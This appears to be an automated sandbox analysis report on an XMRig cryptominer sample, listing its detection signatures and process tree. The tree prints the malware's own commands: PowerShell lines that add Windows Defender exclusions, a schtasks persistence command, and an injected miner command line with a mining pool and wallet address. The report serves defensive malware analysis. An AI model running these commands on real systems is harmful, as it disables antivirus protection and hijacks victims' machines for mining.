Analysis
- user interaction
yes - max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
09/08/2026, 16:07
General
- Target chinaFree.exe
- Size 4.0MB
- Sample260809-tktlfsbc55
- SHA256 d60a671caff1789b5653cf14581b204d6f73025ba9f104e61cb253470b6dde5e
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 8 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Executes dropped EXE 3 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops file in System32 directory 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 26 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\chinaFree.exe"C:\Users\Admin\AppData\Local\Temp\chinaFree.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2wK5FzbP9R6.exe"C:\Users\Admin\AppData\Local\Temp\2wK5FzbP9R6.exe" /i2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\~C1B4D862128843ABD79C24F478825207.exe"C:\Users\Admin\AppData\Local\Temp\~C1B4D862128843ABD79C24F478825207.exe" C:\Users\Admin\AppData\Local\Temp3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\~C1B4D862128843ABD79C24F478825207.exe"4⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\Microsoft\Libs\sihost64.exe"C:\Windows\system32\Microsoft\Libs\sihost64.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"6⤵
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.supportxmr.com:7777 --user=49D8CjVEn5kNwrqx8H4uqdX1gpMHFGxoYDjCYry7MdEBX18rKbMEUfDPiuLBpt3ArXNotu1iLqTjpeRMVYa78L3AL5gpWzV --pass={COMPUTERNAME} --cpu-max-threads-hint=40 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6N3th7lWWQ0QCbNMgcLBQvf+DRQCIx3o/xeCMcWaAWHb" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=80 --tls --cinit-stealth5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\del_.bat2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
conhost.exe.log
powershell.exe.log
StartupProfileData-NonInteractive
2wK5FzbP9R6.exe
__PSScriptPolicyTest_1lk4uluh.ehv.ps1
del_.bat
~C1B4D862128843ABD79C24F478825207.exe
sihost64.exe
memory/616-55-0x000002086DC20000-0x000002086DC42000-memory.dmp
memory/5516-88-0x0000000140000000-0x0000000140786000-memory.dmp
memory/5516-87-0x0000000140000000-0x0000000140786000-memory.dmp
memory/5516-79-0x0000000140000000-0x0000000140786000-memory.dmp
memory/5516-82-0x0000000140000000-0x0000000140786000-memory.dmp
memory/5516-83-0x0000000000E20000-0x0000000000E40000-memory.dmp
memory/5516-86-0x0000000140000000-0x0000000140786000-memory.dmp
memory/5516-94-0x0000000140000000-0x0000000140786000-memory.dmp
memory/5516-84-0x0000000140000000-0x0000000140786000-memory.dmp
memory/5516-85-0x0000000140000000-0x0000000140786000-memory.dmp
memory/5564-90-0x0000012904EE0000-0x0000012904EE6000-memory.dmp
memory/5564-92-0x0000012906A00000-0x0000012906A06000-memory.dmp
memory/5884-49-0x00000139493F0000-0x0000013949402000-memory.dmp
memory/5884-47-0x0000013947470000-0x0000013947691000-memory.dmp
memory/5884-48-0x0000013961F90000-0x00000139621B0000-memory.dmp